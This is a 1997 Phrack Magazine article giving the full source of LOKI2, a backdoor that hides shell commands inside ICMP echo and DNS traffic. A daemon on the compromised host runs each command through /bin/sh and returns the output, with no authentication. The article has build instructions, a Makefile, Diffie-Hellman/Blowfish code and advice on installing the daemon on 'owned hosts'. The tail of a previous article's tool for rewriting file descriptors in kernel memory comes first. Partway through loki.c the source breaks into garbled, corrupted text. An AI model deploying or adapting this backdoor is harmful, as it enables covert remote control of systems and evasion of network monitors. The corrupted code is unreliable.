exit(1); pid1 = atoi(argv[1]), fd1 = atoi(argv[2]); pid2 = atoi(argv[3]), fd2 = atoi(argv[4]); if (argc == 7) pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1; if (pid1 == 0) pid1 = getpid(), fd1 = open("/dev/null", O_RDWR); if (pid2 == 0) pid2 = getpid(), fd2 = open("/dev/null", O_RDWR); if (three && pid3 == 0) pid3 = getpid(), fd3 = open("/dev/null", O_RDWR); kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd"); if (kfd == NULL) exit(1); bzero(nm, 2*sizeof(struct nlist)); nm[0].n_name = "_allproc"; nm[1].n_name = NULL; if (kvm_nlist(kfd, nm) != 0) fprintf(stderr, "Can't read kernel name list\n"), exit(1); allproc = nm[0].n_value; findproc(pid1); ad1 = AD(fd1); val1 = readvalz(ad1); printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1); findproc(pid2); ad2 = AD(fd2); val2 = readvalz(ad2); printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2); if (three) { findproc(pid3); ad3 = AD(fd3); val3 = readvalz(ad3); printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3); } if (three) { if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) { fprintf(stderr, "fds changed in memory while using them - try again\n"); exit(1); } writeval(ad2, val1); writeval(ad3, val2); writeval(ad1, val3); } else { if (readval(ad1)!=val1 || readval(ad2)!=val2) { fprintf(stderr, "fds changed in memory while using them - try again\n"); exit(1); } writeval(ad1, val2); writeval(ad2, val1); } printf("Done!\n"); } <--> ----[ EOF Phrack51/P51-06100600 0 0 332317 6402643523 11273 0ustar rootroot---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17 -------------------------[ L O K I 2 (the implementation) --------[ daemon9 ----[ Introduction This is the companion code to go with the article on covert channels in network protocols that originally appeared in P49-06. The article does not explain the concepts, it only covers the implementation. Readers desiring more information are directed to P49-06. LOKI2 is an information-tunneling program. It is a proof of concept work intending to draw attention to the insecurity that is present in many network protocols. In this implementation, we tunnel simple shell commands inside of ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic. To the network protocol analyzer, this traffic seems like ordinary benign packets of the corresponding protocol. To the correct listener (the LOKI2 daemon) however, the packets are recognized for what they really are. Some of the features offered are: three different cryptography options and on-the-fly protocol swapping (which is a beta feature and may not be available in your area). The vulnerabilities presented here are not new. They have been known about and actively exploited for years. LOKI2 is simply one possible implementation. Implementations of similar programs exist for UDP, TCP, IGMP, etc... This is by no means limited to type 0 and type 8 ICMP packets. Before you go ahead and patch owned hosts with lokid, keep in mind that when linked against the crypto libraries, it is around 70k, with about 16k alone in the data segment. It also forks off at least twice per client request. This is not a clandestine program. You want clandestine? Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it part of the O/S. ----------------------[ BUILDING AND INSTALLATION Building LOKI2 should be painless. GNU autoconf was not really needed for this project; consequently you may have to edit the Makefile a bit. This shouldn't be a problem, becuase you are very smart. ----[ I. Edit the toplevel Makefile 1) Make sure your OS is supported. As of this distribution, we suppport the following (if you port LOKI2 to another architecture, please send me the diffs): Linux 2.0.x OpenBSD 2.1 FreeBSD 2.1.x Solaris 2.5.x 2) Pick an encryption technology. STRONG_CRYPTO (DH and Blowfish), WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext). 3) If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ. You will also need SSLeay (see below). 4) Chose whether or not to allocate a psudeo terminal (PTY) (may not be implemented) or just use popen (POPEN) and use the `pipe -> fork -> exec -> sh` sequence to execute commands. 5) See Net/3 restrictions below and adjust accordingly. 6) Pausing between sends is a good idea, especially when both hosts are on the same Ethernet. We are dealing with a potentially lossy protocol and there is no reliablity layer added as of this version... SEND_PAUSE maintains some order and keeps the daemon from spewing packets too fast. You can also opt to increase the pause to a consdiderably larger value, making the channel harder to track on the part of the netework snooper. (This would, of course, necessitate the client to choose an even larger MIN_TIMEOUT value. ----[ II. Supplemental librarys 1) If you are using STRONG_CRYPTO you will need to get the SSLeay crypto library, version 0.6.6. DO NOT get version 0.8.x as it is untested with LOKI2. Hopefully these URLs will not expire anytime soon: ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz ftp://ftp.uni-mainz.de/pub/internet/security/ssl 2) Build and install SSLeay. If you decide not to install it, Make sure you correct the crypto library path LIB_CRYPTO_PATH in the Makefile and include paths in loki.h. ----[ III. Compilation and linking 1) From the the toplevel directory, `make systemtype`. 2) This will build and strip the executables. ----[ IV. Testing 1) Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid` 2) Start up a client `./loki -d localhost` 3) Issue an `ls`. 4) You should see a short listing of the root directory. 5) Yay. 6) For real world testing, install the daemon on a remote machine and go to town. See below for potential problems. ----[ V. Other Options The loki.h header file offers a series of configurable options. MIN_TIMEOUT is the minimum amount of time in whole seconds the client will wait for a response from the server before the alarm timer goes off. MAX_RETRAN (STRONG_CRYPTO only) is the maximum amount of time in whole seconds the client will retransmit its initial public key handshaking packets before giving up. This feature will be deprecated when a reliability layer is added. MAX_CLIENT is the maximum amount of clients the server will accept and service concurrently. KEY_TIMER is the maximum amount of time in whole seconds an idle client entry will be allowed to live in the servers database. If this amount of time has elapsed, all entries in the servers client database that have been inactive for KEY_TIMER seconds will be removed. This provides the server with a simple way to clean up resources from crashed or idle clients. ----------------------[ LOKI2 CAVEATS AND KNOWN BUGS Net/3 Restrictions Under Net/3, processes interested in receiving ICMP messages must register with the kernel in order to get these messages. The kernel will then pass all ICMP messages to these registered listeners, EXCEPT for damaged ICMP packets and request packets. Net/3 TCP/IP implementations will not pass ICMP request messages of any kind to any registered listeners. This is a problem if we are going to be using ICMP_ECHO (a request type packet) and want it to be directly passed to our user-level program (lokid). We can get around this restriction by inverting the flow of the transactions. We send ICMP_ECHOREPLYs and elicit ICMP_ECHOs. Note, that under Linux, we do not have this probem as ALL valid ICMP packets are delivered to user-level processes. If the daemon is installed on a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of tunneling. Compile with -DNET3 according to this chart: | Client | ----------------------------------------------------- Daemon | ------- | Linux | *bsd* | Solaris | ----------------------------------------------------- | Linux | no | yes | yes | | *bsd* | no | yes | yes | | Solaris | no | opt | opt | The Initialization Vector When using Strong Crypto, the initialization vector (ivec) incrementation is event based. Every time a packet is sent by the client the client ivec is incremented, and, every time a packet is received by the server, the server side ivec is also incremented. This is fine if both ends stay in sync with each other. However, we are dealing with a potentially lossy protocol. If a packet from the client to the server is dropped, the ivecs become desynched, and the client can no longer communicate with the server. There are two easy ways to deal with this. One would be to modify the ivec permutation routine to be time-vector based, having the ivecs increase as time goes by. This is problematic for several reasons. Initial synchronization would be difficult, especially on different machine architectures with different clock interrupt rates. Also, we would also have to pick a relatively small time interval for ivec permutations to be effective on fast networks, and the smaller the ivec time differential is, the more the protocol would suffer from clock drift (which is actually quite considerable). Protocol Swaping Swapping protocols is broken in everything but Linux. I think it has something to do with the Net/3 socket semantics. This is probably just a bug I need to iron out. Quite possibly something I did wrong. *shrug*... Nevermind the fact that the server isn't doing any synchronous I/O multiplexing, consequently, swapping protocols requires a socket change on everone's part. This is why this feature is 'beta'. Authentication Um, well, there is none. Any client can connect to the server, and any client can also cause the server to shut down. This is actually not a bug or a caveat. It is intentional. I/O Should be done via select. ----------------------[ TODO LIST - possible time vector-based ivec permutation instead of event-based as event based is prone to synch failures, OR, even better, a reliability layer. ----[ The technologies ----------------------[ SYMMETRIC BLOCK CIPHER A symmetric cipher is one that uses the same key for encryption and decryption, or the decryption key is easily derivable from the encryption key. Symmetric ciphers tend to be fast and well suited for bulk encryption, but suffer from woeful key distribution problems. A block cipher is simply one that encrypts data in blocks (usually 64-bits). The symmetric block cipher employed by LOKI2 is Blowfish in CFB mode with a 128-bit key. ----------------------[ CFB MODE Symmetric block ciphers can be implemented as self-synchronizing stream ciphers. This is especially useful for data that is not suitable for padding or when data needs to processed in byte-sized chunks. In CFB mode, data is encrypted in units smaller then the block size. In our case, each encryption of the 64-bit block cipher encrypts 8-bits of plaintext. The initialization vector, which is used to seed the process, must be unique but not secret. We use every 3rd byte of the symmetric key for our IV. The IV must change for each message, to do this, we simply increment it as packets are generated. ----------------------[ BLOWFISH Blowfish is a variable key length symmetric cipher designed by Bruce Schneier. It is a portable, free, fast, strong algorithm. It offers a key length of up to 448-bits, however, for LOKI2 we use a 128-bit key. ----------------------[ ASYMMETRIC CIPHER An asymmetric cipher makes use of two keys, coventionally called the private key and public key. These two keys are mathematically related such that messages encrypted with one, can only be decrypted by the other. It is also infeasible to derive one key from the other. Asymmetric ciphers solve the problem of key management by negating the need for a shared secret, however they are much slower the symmetric ciphers. The perfect world in this case is a hybrid system, using both a symmetric cipher for key exchange and a symmetric cipher for encryption. This is the scheme employed in LOKI2. ---------------------[ DIFFIE - HELLMAN In 1976, Whitfield Diffie and Marty Hellman came forth with the first asymmetric cipher (DH). DH cannot be used for encryption, only for symmetric key exchange. The strength of DH relies on the apparent difficulty in computing discrete logarithms in a finite field. DH generates a shared secret based off of 4 components: P the public prime g the public generator c{x, X} the client's private/public keypair s{y, Y} the server's private/public keypair SS the shared secret (from the which the key is extracted) The protocol for secret generation is simple: Client Server ------ ------ 1) X = g ^ x mod P 2) X --> 3) Y = g ^ y mod P 4) <-- Y 5) SS = Y ^ x mod P SS = X ^ y mod P ----------------------[ NETWORK FLOW L O K I 2 Covert channel implementation for Unix ---------------------------------------------------------------------- daemon9|route [guild 1997] ---------------- | LOKI2 CLIENT | ---------------- ----------------------------------- ^ | sendto() | FIRST GENERATION LOKI2 DAEMON | | | ----------------------------------- | | client sends | shadow() server forks | | data v | v | | | ----- | | | | | | | | v fork() | | ----- | | C| |P | v | | | | | ----> clean_exit() parent exits | | | | | | 2nd generation child daemon becomes leader of a new | | | session, handles initial network requests ^ | | | | v | | ------------------------------ | -----------> | SECOND GENERATION DAEMON | read() blocks until | LOKI2 ------------------------------ data arrives | network | ^ | traffic | | | | | -------<---- | | | | | | | | | | | | v fork() | | ----- | ^ C| |P | | | | | parent continues | | --->------ | | | | 3rd generation daemon handles client request | v | ----------------------------- --<---| THIRD GENERATION DAEMON | ----------------------------- switch(PACKET_TYPE) L_PK_REQ: L_REQ: STRONG_CRYPTO POPEN key management PTY | | pipe() <--------- | | | -------<--------------------<------ | | | ---- | | | | | v fork() | v ----- | Unimplemented (7.97) C| |P | | | ^ | ----> exit() | | | 4th generation child | ---->------->--- daemon execs commands v | ------------------------------ | FOURTH GENERATION DAEMON | exec() 4g child execs ------------------------------ command in STDOUT of command /bin/sh to client via pipe ----------------------[ THANKS snocrash for being sno, nirva for advice and help and the use of his FreeBSD machine, mycroft for advice and the use of his Solaris machine, alhambra for being complacent, Craig Nottingham for letting me borrow some nomenclature, truss and strace for being indespensible tools of the trade, Extra Special Thanks to OPii for pioneering this concept and technique. ----------------------[ THE SOURCE Whelp, here it is. Extract the code from the article using one of the included extraction utilities. <++> L2/Makefile # Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997 # route (c) 1997 Guild Corporation, Worldwide ###### # Choose a cryptography type # CRYPTO_TYPE = WEAK_CRYPTO # XOR #CRYPTO_TYPE = NO_CRYPTO # Plaintext #CRYPTO_TYPE = STRONG_CRYPTO # Blowfish and DH ###### # If you want STRONG_CRYPTO, uncomment the following (and make sure you have # SSLeay) #LIB_CRYPTO_PATH = /usr/local/ssl/lib/ #CLIB = -L$(LIB_CRYPTO_PATH) -lcrypto #MD5_OBJ = md5/md5c.o ###### # Choose a child process handler type # SPAWN_TYPE = POPEN #SPAWN_TYPE = PTY ###### # It is safe to leave this alone. # NET3 = #-DNET3 SEND_PAUSE = SEND_PAUSE=100 DEBUG = #-DDEBUG #----------------------------------------------------------------------------# i_hear_a_voice_from_the_back_of_the_room: @echo @echo "LOKI2 Makefile" @echo "Edit the Makefile and then invoke with one of the following:" @echo @echo "linux openbsd freebsd solaris clean" @echo @echo "See Phrack Magazine issue 51 article 7 for verbose instructions" @echo linux: @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all openbsd: @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all freebsd: @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all solaris: @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \ $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \ $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3) CC = gcc C_OBJS = surplus.o crypt.o S_OBJS = client_db.o shm.o surplus.o crypt.o pty.o .c.o: $(CC) $(CFLAGS) -c $< -o $@ all: $(MD5_OBJ) loki md5obj: md5/md5c.c @( cd md5; make ) loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS) $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS) @(strip loki lokid) clean: @( rm -fr *.o loki lokid ) @( cd md5; make clean ) dist: clean @( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar ) <--> Makefile <++> L2/client_db.c /* * LOKI2 * * [ client_db.c ] * * 1996/7 Guild Corporation Worldwide [daemon9] */ #include "loki.h" #include "shm.h" #include "client_db.h" extern struct loki rdg; extern int verbose; extern int destroy_shm; extern struct client_list *client; extern u_short c_id; #ifdef STRONG_CRYPTO extern short ivec_salt; extern u_char user_key[BF_KEYSIZE]; #endif #ifdef PTY extern int mfd; #endif /* * The server maintains an array of active client information. This * function simply steps through the structure array and attempts to add * an entry. */ int add_client(u_char *key) { int i = 0, emptyslot = -1; #ifdef PTY char p_name[BUFSIZE] = {0}; #endif locks(); for (; i < MAX_CLIENT; i++) { if (IS_GOOD_CLIENT(rdg)) { /* Check for duplicate entries * (which are to be expected when * not using STRONG_CRYPTO) */ #ifdef STRONG_CRYPTO if (verbose) fprintf(stderr, S_MSG_DUP); #endif emptyslot = i; break; } /* tag the first empty slot found */ if ((!(client[i].client_id))) emptyslot = i; } if (emptyslot == -1) { /* No empty array slots */ if (verbose) fprintf(stderr, "\nlokid: Client database full"); ulocks(); return (NNOK); } /* Initialize array with client info */ client[emptyslot].touchtime = time((time_t *)NULL); if (emptyslot != i){ client[emptyslot].client_id = c_id; client[emptyslot].client_ip = rdg.iph.ip_src; client[emptyslot].packets_sent = 0; client[emptyslot].bytes_sent = 0; client[emptyslot].hits = 0; #ifdef PTY client[emptyslot].pty_fd = 0; #endif } #ifdef STRONG_CRYPTO /* copy unset bf key and set salt */ bcopy(key, client[emptyslot].key, BF_KEYSIZE); client[emptyslot].ivec_salt = 0; #endif ulocks(); return (emptyslot); } /* * Look for a client entry in the client database. Either copy the clients * key into user_key and update timestamp, or clear the array entry, * depending on the disposition of the call. */ int locate_client(int disposition) { int i = 0; locks(); for (; i < MAX_CLIENT; i++) { if (IS_GOOD_CLIENT(rdg)) { if (disposition == FIND) /* update timestamp */ { client[i].touchtime = time((time_t *)NULL); #ifdef STRONG_CRYPTO /* Grab the key */ bcopy(client[i].key, user_key, BF_KEYSIZE); #endif } /* Remove entry */ else if (disposition == DESTROY) bzero(&client[i], sizeof(client[i])); ulocks(); return (i); } } ulocks(); /* Didn't find the client */ return (NNOK); } /* * Fill a string with current stats about a particular client. */ int stat_client(int entry, u_char *buf, int prot, time_t uptime) { int n = 0; time_t now = 0; struct protoent *proto = 0; /* locate_client didn't find an * entry */ if (entry == NNOK) { fprintf(stderr, "DEBUG: stat_client nono\n"); return (NOK); } n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION); n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst)); proto = getprotobynumber(prot); n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name); n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE); time(&now); n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c); locks(); n += sprintf(&buf[n], "client ID:\t\t%d\n", client[entry].client_id); n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent); n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent); n += sprintf(&buf[n], "requests:\t\t%d\n", client[entry].hits); ulocks(); return (n); } /* * Unsets alarm timer, then calls age_client, then resets signal handler * and alarm timer. */ void client_expiry_check(){ alarm(0); age_client(); /* re-establish signal handler */ if (signal(SIGALRM, client_expiry_check) == SIG_ERR) err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM"); alarm(KEY_TIMER); } /* * This function is called every KEY_TIMER interval to sweep through the * client list. It zeros any entrys it finds that have not been accessed * in KEY_TIMER seconds. This gives us a way to free up entries from clients * which may have crashed or lost their QUIT_C packet in transit. */ void age_client() { time_t timestamp = 0; int i = 0; time(×tamp); locks(); for (; i < MAX_CLIENT; i++) { if (client[i].client_id) { if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) { if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i); bzero(&client[i], sizeof(client[i])); #ifdef STRONG_CRYPTO ivec_salt = 0; #endif } } } ulocks(); } /* * Update the statistics for client. */ void update_client(int entry, int pcount, u_long bcount) { locks(); client[entry].touchtime = time((time_t *)NULL); client[entry].packets_sent += pcount; client[entry].bytes_sent += bcount; client[entry].hits ++; ulocks(); } /* * Returns the IP address and ID of the targeted entry */ u_long check_client_ip(int entry, u_short *id) { u_long ip = 0; locks(); if ((*id = (client[entry].client_id))) ip = client[entry].client_ip; ulocks(); return (ip); } #ifdef STRONG_CRYPTO /* * Update and return the IV salt for the client */ u_short update_client_salt(int entry) { u_short salt = 0; locks(); salt = ++client[entry].ivec_salt; ulocks(); return (salt); } #endif /* STRONG_CRYPTO */ /* EOF */ <--> client_db.c <++> L2/client_db.h /* * LOKI * * client_db header file * * 1996/7 Guild Corporation Productions [daemon9] */ /* * Client info list. * MAX_CLIENT of these will be kept in a server-side array */ struct client_list { #ifdef STRONG_CRYPTO u_char key[BF_KEYSIZE]; /* unset bf key */ u_short ivec_salt; /* the IV salter */ #endif u_short client_id; /* client loki_id */ u_long client_ip; /* client IP address */ time_t touchtime; /* last time entry was hit */ u_long packets_sent; /* Packets sent to this client */ u_long bytes_sent; /* Bytes sent to this client */ u_int hits; /* Number of queries from client */ #ifdef PTY int pty_fd; /* Master PTY file descriptor */ #endif }; #define IS_GOOD_CLIENT(ldg)\ \ (c_id == client[i].client_id && \ ldg.iph.ip_src == client[i].client_ip) > \ (0) ? (1) : (0) \ void update_client(int, int, u_long); /* Update a client entry */ /* client info into supplied buffer */ int stat_client(int, u_char *, int, time_t); int add_client(u_char *); /* add a client entry */ int locate_client(int); /* find a client entry */ void age_client(void); /* age a client from the list */ u_short update_client_salt(int); /* update and return salt */ u_long check_client_ip(int, u_short *); /* return ip and id of target */ <--> client_db.h <++> L2/crypt.c /* * LOKI2 * * [ crypt.c ] * * 1996/7 Guild Corporation Worldwide [daemon9] */ #include "loki.h" #include "crypt.h" #include "md5/global.h" #include "md5/md5.h" #ifdef STRONG_CRYPTO u_char user_key[BF_KEYSIZE]; /* unset blowfish key */ BF_KEY bf_key; /* set key */ volatile u_short ivec_salt = 0; /* * Blowfish in cipher-feedback mode. This implements blowfish (a symmetric * cipher) as a self-synchronizing stream cipher. The initialization * vector (the initial dummy cipher-text block used to seed the encryption) * need not be secret, but it must be unique for each encryption. I fill * the ivec[] array with every 3rd key byte incremented linear-like via * a global encryption counter (which must be synced in both client and * server). */ void blur(int m, int bs, u_char *t) { int i = 0, j = 0, num = 0; u_char ivec[IVEC_SIZE + 1] = {0}; for (; i < BF_KEYSIZE; i += 3) /* fill in IV */ ivec[j++] = (user_key[i] + (u_char)ivec_salt); BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m); } /* * Generate DH keypair. */ DH* generate_dh_keypair() { DH *dh = NULL; /* Initialize the DH structure */ dh = DH_new(); /* Convert the prime into BIGNUM */ (BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL); /* Create a new BIGNUM */ (BIGNUM *)(dh -> g) = BN_new(); /* Set the DH generator */ BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5); /* Generate the key pair */ if (!DH_generate_key(dh)) return ((DH *)NULL); return(dh); } /* * Extract blowfish key from the DH shared secret. A simple MD5 hash is * perfect as it will return the 16-bytes we want, and obscure any possible * redundancies or key-bit leaks in the DH shared secret. */ u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf) { u_char digest[MD5_HASHSIZE]; unsigned len = BN2BIN_SIZE; MD5_CTX context; /* initialize MD5 (loads magic context * constants) */ MD5Init(&context); /* MD5 hashing */ MD5Update(&context, dh_shared_secret, len); /* clean up of MD5 */ MD5Final(digest, &context); bcopy(digest, user_key, BF_KEYSIZE); /* In the server we dunot set the key * right away; they are set when they * are nabbed from the client list. */ if (set_bf == OK) { BF_set_key(&bf_key, BF_KEYSIZE, user_key); return ((u_char *)NULL); } else return (strdup(user_key)); } #endif #ifdef WEAK_CRYPTO /* * Simple XOR obfuscation. * * ( Syko was right -- the following didn't work under certain compilation * environments... Never write code in which the order of evaluation defines * the result. See K&R page 53, at the bottom... ) * * if (!m) while (i < bs) t[i] ^= t[i++ +1]; * else * { * i = bs; * while (i) t[i - 1] ^= t[i--]; * } * */ void blur(int m, int bs, u_char *t) { int i = 0; if (!m) { /* Encrypt */ while (i < bs) { t[i] ^= t[i + 1]; i++; } } else { /* Decrypt */ i = bs; while (i) { t[i - 1] ^= t[i]; i--; } } } #endif #ifdef NO_CRYPTO /* * No encryption */ void blur(int m, int bs, u_char *t){} #endif /* EOF */ <--> crypt.c <++> L2/crypt.h /* * LOKI * * crypt header file * * 1996/7 Guild Corporation Productions [daemon9] */ #ifdef STRONG_CRYPTO /* 384-bit strong prime */ u_char modulus[] = { 0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A, 0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49, 0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14, 0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3, }; #endif <--> crypt.h <++> L2/loki.c /* * LOKI2 * * [ loki.c ] * * 1996/7 Guild Corporation Worldwide [daemon9] */ #include "loki.h" jmp_buf env; struct loki sdg, rdg; int verbose = OK, cflags = 0, ripsock = 0, tsock = 0; u_long p_read = 0; /* packets read */ #ifdef STRONG_CRYPTO DH *dh_keypair = NULL; /* DH public and private keypair */ extern u_short ivec_salt; #endif int main(int argc, char *argv[]) { static int prot = IPPROTO_ICMP, one = 1, c = 0; #ifdef STRONG_CRYPTO static int established = 0, retran = 0; #endif static u_short loki_id = 0; int timer = MIN_TIMEOUT; u_char buf[BUFSIZE] = {0}; struct protoent *pprot = 0; struct sockaddr_in sin; /* Ensure we have proper permissions */ if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV); loki_id = getpid(); /* Allows us to individualize each * same protocol loki client session * on a given host. */ bzero((struct sockaddr_in *)&sin, sizeof(sin)); while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF) { switch (c) { case 'v': /* change verbosity */ verbose = atoi(optarg client[i].touchtime^0l46 (ly a gP "Ql (l*)NULL1 B, 0 pE@ ko koEtamey ffffff= AF_INET B, 0 pE@ ko koE^0l4.sE^0l4f= n _provlve ) err_exit(1, 1, ve/* change verbosity */ verbt!= EOF) { switch (cl (ly a gnt en ) in static uc context we have pro0roper"In No sockentry == NNOK) verbosity */ context verbp!= EOF) { swa caveto = getprdualize ea (ly a gP ((c = [0]c context time(timestamp, cl verbi!= EOF) {ser_e daemon / installed on aient(int, int, u_long); /OUT; t main(int arg context ty */ , cl verbu!= EOF) {serDNS y / re an ient(int, int, u_long); /OUT; t main(intUDg context ty */ , cl ng 1) (PACKET_TYPE) we have pro0roALRM, clieUnknownto = getprkentry == NNOK) verbosidatabase full"); ty */ catabase full"ng 1) (PACKET_TYPE) we have 0ro0roperCns */USAGFinal(digest { serwric cipa[i].touchtime^0l46 ko koE^0l4.sE^0l4) we have 0ro0roALRM, cliCns */USAGFinal(dint en oki sdgAWN_TY(AF_INET, SOCK_RAWber(pr ) i0ler */ if (signal(SIG1sions */SOCKET)oy_shm; extern struct cl serte, tst ast be oductio you de OUT; !t main(int arg) we have 0ro0roALRM, clions */ argONLYy */ b serRawI/O multntri.h <+ck = 0, ( env; struAWN_TY(AF_INET, SOCK_RAWbemain(intRAW ) i0ler */ e we have proper permissions */SOCKET)oyshm; extUSE etime) > KEY_TIMER) RawIIPuAWN_TY: try == Nfd_RYPTus( env; s, print * No eshm; extIP_HDRINCLm the clientv; s((st env; s, main(int P,tIP_HDRINCL, & are ar ) i0ler */ ient[i].touch ror("C_check IP_HDRINCLI/O mults "y */ b sertions wi from cldum't do catch S * same protocol lntriesRM"); uperatiitn * on a ient DHave tsoc)(cliente we have proper permissions */ATEXIT)oy etime) > KEY_TIMEons */BANN, ver et ;(sin)); PTY client[emptyslot].pty_fd = 0; #endif } #ifKeher. otichtimeph Bsmit iwe * same protocol lmathdements pro,rwric cipnnect are * right away; they secret (cs become desync* The s * right away; they----ur STROph s * right away; theyAftatingr for d are is fin s * right away; theyTO_ICMP, onund th*/ i a response * same protocol ln if ommanontkey(aencrypti * are nabbed from theeeee TO_ICMP, on (; i < MAX_CLIENT; i++) { if ptyslot].pty_fd = 0; #endif } #if, DH_GENERATOdef ar n tneier makes us * right away; they _CRYPTO DH *dh_key * are nabbed from theeeeeeeee if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) : %s"MEons */DHKEYGENry == NNOK) verbosi ( key, ivec, &num, m); )c context we have pro0roALRM, clions */DHKGFAI (BIGNUM *)(dh -}m theeeeeeeee [i].touchtime) > KEY_TIMER) : submilocalhur e izatiyptitry == NNOK) verbosiiiiiiiiiiiiiiiiiiiiiiiii#ifde dh = DH_ e s * right away; they- a bige seia is noDidn't * are nabbed from theeeeeeeeegiven h BF_set_ )NULL1 ry == NNOK) ver/* Cn2bin ub ) == NNOK) verbosiiiiiiiiiiiiiiiiiiiiiiiii#ifSubmil--ur these registo * same protocol ln, BF_KEYSI(stedna problem * are nabbed from theeeeeeeee [i].touchtime) > KEY_TIMECns */PKREQ) == NNOK) verid() xmil id() ||,cular c inal(digest {{{{{ t[[[[[{*/ bgiven h BF_set_ )NULL1 ry == NNOK) vertime) > KEY_TIMEin(MPTa client fromulamp--[ oth a inputfrom theeeeeeeee-----STD sFILENO l*)NULL1 B, 0 pEd =idnlen )]ot].packets_seeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee if (ocols is arsefrom theeeeeeeee d =0](cli'\n') |P Escapitab--- rom theeeeeeeee d =0](cli'/') c_ arse lientr ip |P == NNOK) verbosiiiiiiiiiiiiiiiiiiiiiiiii#ifSethese registoBF_KEYSIrom theeeeeeeeeid() xmil id() ||,cular c inaPTY client[emptyslot].}*/ b seritch (co = getpr { .h" jm& NEWponsSetopt(argc, argv, "v:d:t:ltoun oki B, 0 pEOUT; t OUT; =t main(intUDg== cmain(int arg : main(intUDg context nt en oki sdgAWN_TY(AF_INET, SOCK_RAWber(pr ) i0ler */ we have proper permissions */SOCKET)oy B, 0 pEOOUT; t interface:\t%s\n", host_lookext nt e[i].touchtime) > KEY_TIMER) : T = getprdualize eaitch (ipnne%s.numberOUT; ); n += spri, "v:d:t:h" jm&= ~NEWponsS= spri, "v:d:t:|P == NNOK)}{ .h" jm& TERMINATEVEC_SIZE + 1] lly notiitn { { == NNOK) vertime) > KEY_TIMER) : ared_stiit\n----- w/* * LO]entry v 0inal(digest {{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{zeofy theponP theVALID ----- h" jm { :h" jm&= (~ponP & ~VALIDPa clie {{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{zeo l expe == _ soc signal handler */ we have proper permissions */S ) == NNOK) verbosiiiiiiiiiiiiiiiiiiiiiiiii#ifr clieru isl--[ Trtion rhin s * right away; theyr writ | ; injmp()CRYPIOW rhin s * right away; theyl w of b etjmp(envr (; i < MAX_CLIENT; i++)time) > KEY_TIMER) A .nu%s"MECns */tatic uc= spri, "v:d:t:h" jm|=eponPnaPTY client[emptyslot]. TO_ICMP, on yslot]. if (e AuthentimeTO_ICMP, oneyetfrom 